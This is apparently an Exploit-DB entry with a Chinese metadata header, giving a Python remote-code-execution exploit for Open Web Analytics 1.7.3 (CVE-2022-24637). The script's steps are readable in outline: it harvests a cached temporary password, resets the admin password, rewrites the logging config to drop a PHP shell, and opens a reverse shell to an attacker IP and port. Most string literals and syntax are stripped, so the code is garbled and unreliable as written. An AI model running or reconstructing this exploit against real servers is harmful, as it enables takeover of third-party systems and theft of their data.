标题: Open Web Analytics 1.7.3 - Remote Code Execution EDB-ID: 51026 CVE: 2022-24637 类型: WEBAPPS 平台: PHP 发布日期: 2022-11-11 漏洞利用脚本: # Exploit Title: Open Web Analytics 1.7.3 - Remote Code Execution (RCE)
# Date: 2022-08-30
# Exploit Author: Jacob Ebben
# Vendor Homepage: https://www.openwebanalytics.com/
# Software Link: https://github.com/Open-Web-Analytics
# Version: <1.7.4
# Tested on: Linux 
# CVE : CVE-2022-24637

import argparse
import requests
import base64
import re
import random
import string
import hashlib
 termcolor  colored

 message 
      
        colored      message
      
        colored      message
      
        colored      message
      
        colored      message
      
        colored      message

 url
    url  
      url  
    urllower    urllower  
      url    url
    url

 url
    urllower  
       
    

 length
   chars  stringascii_letters  stringdigits
    joinrandomchoicechars  i  length

 cache_raw
   regex_cache_base64  r
   regex_result  researchregex_cache_base64 cache_raw
     regex_result
      print_message 
      exit
   
      cache_base64  regex_resultgroup
    base64b64decodecache_base64decode

 cache
   regex_cache_username  r
    researchregex_cache_username cachegroup

 cache
   regex_cache_temppass  r
    researchregex_cache_temppass cachegroup

 url
   
      update_nonce_request  sessiongeturl proxiesproxies
      regex_update_nonce  r
      update_nonce  researchregex_update_nonce update_nonce_requesttextgroup
    Exception  e
      print_message 
      e
      exit
   
       update_nonce

parser  argparseArgumentParserdescription
parseradd_argument  
                  
parseradd_argument  
                  
parseradd_argument  
                  
parseradd_argument  default 
                  
parseradd_argument defaultget_random_string 
                  
parseradd_argument 
                  
parseradd_argument  action
                  

args  parserparse_args

base_url  get_normalized_urlargsTARGET
login_url  base_url  
password_reset_url  base_url  
update_config_url  base_url  

username  argsusername
new_password  argspassword

reverse_shell    argsATTACKER_IP   argsATTACKER_PORT  
shell_filename  get_random_string  
shell_url  base_url    shell_filename

 argsproxy
   proxy_url  get_normalized_urlargsproxy
   proxy_protocol  get_proxy_protocolproxy_url
   proxies   proxy_protocol proxy_url 

   proxies  

session  requestsSession


   mainpage_request  sessiongetbase_url proxiesproxies
 Exception  e
   print_message  base_url 
   exit

   print_message  base_url   

    mainpage_requesttext
   print_message 
    mainpage_requesttext
   print_message 

   print_message 


   data  
       username 
       username 
       
   
   sessionpostlogin_url datadata proxiesproxies
 Exception  e
   print_message 
   e
   exit

   print_message  username   

print_message  username   

found  

 key  
   user_id    key
   userid_hash  hashlibmd5user_idencodehexdigest 
   filename  userid_hash  
   cache_url  base_url    key    filename
   cache_request  requestsgetcache_url proxiesproxies
    cache_requeststatus_code  
      
   cache_raw  cache_requesttext
   cache  get_cache_contentcache_raw
   cache_username  get_cache_usernamecache
    cache_username  username
      print_message  cache_username    get_cache_temppasscache 
      
   
      found  
      
  found
   print_message  username   
   exit

cache_temppass  get_cache_temppasscache
print_message  username    cache_temppass 

 argscheck
   print_message 
   exit


   data  
       new_password 
       new_password 
       cache_temppass 
       
      
   
   sessionpostpassword_reset_url datadata proxiesproxies
 Exception  e
   print_message 
   e
   exit

   print_message  username    new_password   


   data  
       username 
       new_password 
       
   
   sessionpostlogin_url datadata proxiesproxies
 Exception  e
   print_message 
   e
   exit

   print_message  username   

nonce  get_update_nonceupdate_config_url


   log_location    shell_filename
   data  
       nonce 
        
       log_location 
       
   
   sessionpostupdate_config_url datadata proxiesproxies
 Exception  e
   print_message 
   e
   exit

   print_message 

nonce  get_update_nonceupdate_config_url


   data  
       nonce 
        
       reverse_shell 
   
   sessionpostupdate_config_url datadata proxiesproxies
 Exception  e
   print_message 
   e
   exit

   print_message 


   sessiongetshell_url proxiesproxies
 Exception  e
   e

   print_message 
   print_message  shell_url URL: https://www.exploit-db.com/exploits/51026